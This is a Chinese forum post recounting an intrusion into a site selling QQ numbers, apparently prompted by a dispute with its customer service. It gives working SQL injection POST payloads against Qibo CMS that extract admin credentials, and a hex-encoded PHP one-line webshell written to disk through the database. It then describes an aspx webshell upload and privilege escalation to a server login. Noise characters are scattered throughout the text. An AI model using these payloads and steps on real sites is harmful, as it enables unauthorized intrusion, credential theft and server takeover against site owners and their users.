|
3 K1 x+ D* B" S' } Y6 Y
6 T- x2 W5 i2 ^9 r $ E/ b8 z- I9 S1 z( N d! V
# `2 S0 J, @- A9 e+ ? 一、踩点寻找漏洞
2 B8 a4 ?' Z! Z7 U
闲来无事，在各个QQ靓号群求买5位QQ，寻问半天无果就在百度搜索5位QQ扫号找到“目标”www.qq.com，打开一看就一静态页面，哇好多靓号啊，90000000,300000,98888888，199999999，哇这么多靓号，然后我去联系客服，要求客服登录账户看看，此处略去100字，然后开始撕逼，然后就有了下文。。。。
2 w" J3 V) P# |1 K; V& U随手拿御剑扫了一下好多php页面，随手加一个member发现是齐博1.0的内容管理系统，然后就去百度找漏洞，什么后门漏洞一一做测试都无果，找来找去找到一个全版本的注入漏洞，详细利用方法如下：
" m8 @5 f- }4 s0 z
先注册一个用户，记住注册时候的邮箱以uid号，
5 _4 { K, e$ v `$ G- T) h( I( `
- p6 k& S. Z2 H& C, ]5 F6 ?
0 K3 e. C& q1 V0 L# |& r8 p. B/ l- Q0 r然后我们打开火狐浏览器简单构造一下，http://www.qq.com/member/userinfo.php?job=edit&step=2，发送数据包如下：
) u4 Z$ Q3 _- K1 H% F
- Q# F6 Y, M$ }# z2 F4 wtruename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(select user()) where uid=3%23
! Z1 y# E" T N
这里的email和uid一定要和注册的账号所吻合，然后访问，提示成功以后查看用户资料如图：
& s8 \* G% `6 u5 B! w) K$ C' e
8 E# J1 D4 R* C) O1 M4 `/ Z) F
确实存在注入漏洞，那么我们来注入一下管理账号密码，修改数据包如：truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(select concat(username,0x2e,password) from qb_members limit 1) where uid=3%23
/ R' ~, U0 {: K Z
2 ~1 U0 y6 Q/ h
4 v! T& H5 G8 {& h9 V |2 h' {6 v解密进后台如图：
4 F, Z( p, S3 m1 u+ ?) L
) e0 }* Y7 d7 h+ {" @0 K
9 _ L7 W5 L- y6 L7 b! K* s
* @5 j0 |9 f4 R3 D二、后台getwebshell
+ Y: ~6 x1 J p7 M
进了后台，以前齐博有个后台getwebshell漏洞，在系统功能- 单篇文章独立页面管理-增加页面添加个webshell，如图：
9 d9 N* Z4 ]& n5 g& i3 _6 a
6 ~. _$ v5 t; E* v1 n" H8 Q8 z8 G4 z2 V
: X3 w; |4 q9 L z9 w
+ A' z$ Z' s) X+ r/ e
然后点确定，添加提示
/ k6 B! T1 X1 `! P! v- J( O- v4 {
+ U: F$ S4 q0 g; \8 ?3 A; @
I3 h$ M$ K, [+ v" j
0 v" A5 c. a3 b. }
由于是ii6.0的所以我们可以考虑一下解析漏洞，我们再来如图：
5 N% K+ L4 L9 ]" a" N
c( r- Z/ ~: t0 f' Z/ o3 G
4 o5 c" `+ c J6 G改静态页面为help.php;.htm，然后我们发现访问help.php;.htm是404（写文章之前测试是可以成功写入的），欧巴，他么的我们再想想别的办法，抽了一支烟，我们继续，他这里不是有个服务器信息、数据库工具吗，之前我们测试当前用户名是root，那么我们完全可以考虑利用服务器信息、数据库工具来导入一句话，屌屌的妈妈的，我们来演示一下，先把一句话hex编码一下，<?php assert($_POST[sb]);?>编码以后是：0x3C3F7068702061737365727428245F504F53545B73625D293B3F3EDA网站目录是D:\wwwroot\qq.com\admin\，注意我们要把\改成/,否则不成功D:/wwwroot/qq.com/admin/,下面我们来导一下
5 _/ l: D$ L; j- e9 N& `
如图：
, v' ?3 M7 Z5 x
" P4 `. \. [: @& F8 S; ` C( W" e
, U" p; D; _: S* U- P# N# q
0 t; C( G1 Y: W0 {% W7 n' M' n之前已经测试过了用普通菜刀无法连接，测试用过狗菜刀也无法连接，用xiese打开
; t0 e# c2 ]* h @6 Z, k
5 i7 k& m0 f2 M& j
" w2 z$ `4 F, u" p" Z
% P; q+ n- S# x& H; g! l+ s, o1 y; y三、提权进服务器
0 n: U) N0 p" Y/ j" H经测试xise下一句话只有在admin目录下有权限浏览，且不能执行命令，庆幸的是支持aspx，那么我们就上一个aspx大马，然后执行命令提示拒绝访问，哈哈在c:\windows\temp下上传cmd.exe然后执行systeminfo，发现打了400多补丁，如图：
! w9 {/ l0 F9 _
: t$ M. C" j9 m1 i7 r+ z2 S, \
. ~2 s' E1 t1 h. l) c啧啧啧，这么多补丁，我都没去试试今年和2014年放出来的exp，而且是在咱们大00下载了一个变异pr，然后上传提权如图：
0 H# D) g) `5 d
3 s# n2 [' D0 f; @ X( I# k
& K) L1 S9 h2 {# |1 X
然后登陆服务器如图：
) \! _+ b9 S5 d% m
* O: r% Z# p( o& p
5 v/ D" X) a- D/ {3 F
( ~" W2 J8 d: M; ^, Z4 G, D7 i5 C% `' L4 @: R
: W, z2 [; g' F" ^# O# S1 ^难怪普通刀连接不上，原来是有狗。
" I4 ^) s" g$ Q7 p1 W! w' g
) ?5 K# m2 |$ s- G' u
, I4 E' Z# d1 \& A' P
" _' D- `8 Y+ s& |! ]8 b/ H) M4 E
% h, Q" Q2 K7 d
* X$ {& J- |8 S7 k
" l5 p5 b, ~* z \( e5 F | 
发表于 2018-10-20 20:08:47
收藏
支持
反对